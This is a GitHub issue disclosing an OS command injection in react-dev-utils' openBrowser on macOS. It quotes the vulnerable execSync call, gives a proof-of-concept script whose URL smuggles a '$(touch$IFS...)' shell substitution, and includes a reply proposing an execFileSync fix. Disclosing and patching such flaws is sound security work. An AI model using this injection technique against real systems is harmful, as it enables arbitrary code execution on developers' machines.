Skip to content

OS Command Injection in openBrowser.js #17269

Open

Description

@Dremig

Summary

The react-dev-utils package (v12.0.1) is vulnerable to OS Command Injection on macOS. The openBrowser API fails to properly sanitize URLs before passing them to a shell command via execSync, allowing an attacker to execute arbitrary commands if they can control the URL passed to the function.

Details

The vulnerability exists in openBrowser.js within the startBrowserProcess function. When running on macOS and targeting Google Chrome or a Chromium-based browser, the library uses child_process.execSync to execute an AppleScript:

// Located in react-dev-utils/openBrowser.js
execSync(
  'osascript openChrome.applescript "' +
    encodeURI(url) +
    '" "' +
    chromiumBrowser +
    '"',
  {
    cwd: __dirname,
    stdio: 'ignore',
  }
);

Root Cause:

The code uses encodeURI(url) as a security filter. However, encodeURI does not escape characters that are significant in a shell environment, specifically $, (, and ). Since the URL is interpolated into a double-quoted string and executed via /bin/sh, the shell expands command substitutions $(...) or backticks before passing the result to osascript.
Although the library was previously patched in v11.0.5 by moving to execFileSync, the dangerous execSync logic has reappeared in version 12.0.1.

PoC

Environment: macOS with Google Chrome currently running.

  1. Install the affected version: npm install react-dev-utils@12.0.1
  2. Create reproduce.js:
const openBrowser = require('react-dev-utils/openBrowser');
const fs = require('fs');

// Use $IFS to bypass space encoding and avoid characters filtered by encodeURI
const marker = '/tmp/RCE_VERIFIED';

if (fs.existsSync(marker)) fs.unlinkSync(marker);
const payloadUrl = 'http://localhost/$(touch$IFS' + marker + ')';
openBrowser(payloadUrl);

setTimeout(() => {
  if (fs.existsSync(marker)) {
    console.log('[+] SUCCESS: Command executed. File found at ' + marker);
    console.log('Contents: ' + fs.readFileSync(marker, 'utf8'));
  } else {
    console.log('[-] Failed to trigger. Ensure Chrome is running and you are on macOS.');
  }
}, 2000);
  1. Run: node reproduce.js

Impact

This is a High/Critical severity vulnerability impacting millions of developers using create-react-app.
An attacker who can influence the URL opened by the dev server (via .env files, malicious middleware, or shared dev environments) can gain full Remote Code Execution (RCE) on the developer's workstation.

Activity

  1. Salunkhe1521 commented on Jul 27, 2026

    @Salunkhe1521

    Thanks for the detailed write-up and PoC, @Dremig.

    Great catch on spotting this regression. Since this was previously addressed in v11.0.5 by moving away from shell execution, the safest approach here is to completely avoid spawning a shell via execSync and instead use execFileSync with an argument array.

    To fix this permanently, we can refactor the call like this:

    JavaScript
    const { execFileSync } = require('child_process'); // ... inside startBrowserProcess execFileSync('osascript', ['openChrome.applescript', url, chromiumBrowser], { cwd: __dirname, stdio: 'ignore', });

    Passing arguments as an array to execFileSync bypasses shell interpretation entirely, preventing command injection without needing brittle string filters. Hope this helps get a patch rolling quickly!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions